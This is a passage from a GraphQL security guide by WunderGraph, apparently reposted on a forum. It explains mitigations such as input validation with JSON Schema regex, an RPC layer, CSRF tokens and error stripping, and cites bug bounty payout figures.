easily, just like we did it with REST APIs. Solving GraphQL SQL Injections We've extracted a JSON Schema for each RPC Endpoint. This JSON Schema can be adjusted to your desire to allow you to validate all inputs. Have a look at our documentation and how you can use the @jsonSchema directive to configure the JSON Schema for each Operation. Here's an example of how to apply a Regex pattern for a message input: 1 2 3 4 5 6 7 8 9 10 mutation ( $message: String! @jsonSchema( pattern: "^[a-zA-Z 0-9]+$" ) ){ createPost(message: $message){ id message } } Solving GraphQL Authentication Vulnerabilities The issue with Authentication was that you have to make sure that every possible Query path is covered by an authentication Middleware. Introducing the RPC layer locks down all possible Query paths by default. Additionally, you're able to lock down all Operations behind an authentication middleware by default. If you want to expose an Operation to the public, you have to do so explicitly. Solving GraphQL Authorization Traversal Attack Vulnerabilities From an attackers' perspective, traversal attacks are only possible if there's something they can "traverse". By protecting the GraphQL layer with the RPC layer, this feature is removed from the public facing API. The biggest threat is now the developer itself, as they could accidentally expose too much data. Solving the Relay Object Identification Vulnerability Recalling the issue from above, the problem with the Relay spec comes from two angles. One is incomplete Authentication protection, the other one is protecting edges when protecting nodes would be the correct way to do it. The Relay specification allowed you to query any Node with the globally unique object identifier. This gives developers (and the Relay client) a powerful tool but is also another issue to solve. You might see some repetitiveness here, but the Relay Vulnerability is also covered by the RPC facade. Solving GraphQL Gateway / Proxying Vulnerabilities This is one of the more complicated issues to solve. If we're using user inputs as variables for sub-requests, we have to make sure that these variables are exactly what we expect and not trying to exploit an underlying system. To help mitigate these issues, we've made it very easy to define a JSON Schema definition for variables . This way, you're able to define a Regex pattern or other rules to verify the inputs before injecting them into subsequent requests, database Queries, etc... The type system of GraphQL is absolutely great and very helpful, especially for making the lives of API consumers easier. However, when it comes to interpreting a GraphQL request, there are still a few gaps that we're trying to fix. Solving the GraphQL introspection Vulnerability As we've seen in the description of the issue, disabling GraphQL introspection might not be as easy as it seems, depending on the framework you're using. That said, Introspection is relying on the GraphQL layer. If you look at how Introspection works, it's just another GraphQL Query, even if it's a special one, with quite a lot of nesting. Should I repeat myself again and tell you that by not exposing GraphQL, you're affected by this issue anymore? Keep in mind that we're still allowing Introspection during development. Tools like GraphiQL will keep working, just not in production, or at least not with a special authentication token. Solving the Generated GraphQL APIs Vulnerability If the GraphQL API is a 1:1 copy of your database schema, you're exposing internals of your architecture via GraphQL Introspection. But then again, we've already solved this issue. Solving the GraphQL CSRF Vulnerability The way to mitigate this issue is by properly configuring CORS and SameSite settings on your API. Then, add a CSRF middleware to the API layer. This adds an encrypted CSRF cookie on a per user basis. Once the user is logged in, hand them over their csrf token. Finally, if the user wants to invoke a mutation, they must present their CSRF token in a special header which can then be validated by the CSRF Middleware. If there's anything going wrong, or the user logs out, delete the CSRF cookie to block all mutations until there's a valid user session again. All this might sound a bit complicated, especially the interaction between client and server, sending CSRF tokens and Headers back and forth. That's why we've added all this to WunderGraph by default. All mutations are automatically protected. On the server-side, we've go all the middlewares in place. The client is auto-generated, so it knows exactly how to deal with the CSRF tokens and Headers. Solving the GraphQL Excessive Errors Vulnerability This issue is probably one of the bigger threats while easy to fix. After resolving an Operation, right before sending back the response to the client, make sure to strip out all sensitive information from the errors object. This is especially important if you're proxying to other services. Don't just pipe through everything you've got from the upstream. If you're calling into a REST API and the response code is non 200, don't just return the response as a generic error object. Additionally, think about your API as a product. What should the user experience of you "product" look like in case of an error? Help your users understand the error and what they can do about it, at least for "known good errors". In case of "bad errors", those unexpected ones, don't be too specific to your users, they might not be friendly. Solving the 13 most common GraphQL Vulnerabilities for public APIs Alright, you've seen that by changing our architecture and evolving our understanding of GraphQL, we're able to mitigate almost all of the issues that are coming from GraphQL itself. What's left is the biggest vulnerability of all systems, the people who build them, us, the developers! If the process of debugging means, we're removing bugs, what should we call it when we write code? Okay, we're almost done. We've left out one small group of APIs. We've been talking about private APIs for almost the entire article, but we did it for a good reason, probably 99% of the APIs are private. But what about parter and public APIs? What if we don't want to put an RPC layer in front of our API? What if we want to directly expose GraphQL to our API consumers? Companies like Shopify and GitHub are doing this. What can we learn from them? Shopify currently has 1273 reports solved . They've paid in bounties $1.656.873 to hackers with a range of $500-$50.000 per bounty. Twitter resolved a total of 1364 issues with a total of $1.424.389. Snapchat only paid out $439.067 with 389 reports resolved. GitLab paid an astounding $1.743.639 with a total of 845 issues resolved. These bounties are not just related to GraphQL, but all the companies listed above can be found on the list of reported GraphQL issues. There's a total of 70 reports on GraphQL with lot's of bounties paid out. If you search on other bug bounty websites, you'll probably find more. Companies like GitHub have people who build specialized infrastructure to better understand how their GraphQL API is being used. I was pleased to meet the amazing Claire Knight and listen to her talk on the last GraphQL Summit, it's been quite some time... I've presented you all this data to be able to make two points. First, do you really need to expose your GraphQL API? If not, excellent! You're able to apply all the solutions from this article. If, by all means, you absolutely want to expose a GraphQL API, make sure you have the expertise it takes to do so. You should have security experts in house or at least hire them, you should be doing regular audits and do pen-testing. Don't take this easy! Let's talk APIs and Security! Do you have questions or want to discuss APIs, GraphQL and Security? Meet us on Discord We're also happy to jump on a call with you and give you a Demo. Book now a free meeting! Try it out yourself! Are you interested in how the GraphQL-to-RPC concept works in reality? Have a look at our one minute Quickstart and try out the concepts discussed in this article. Sursa: https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready
  25. Connor McGarr takes us through the state of exploitation and exploit mitigations on modern Windows systems.
×
×
  • Create New...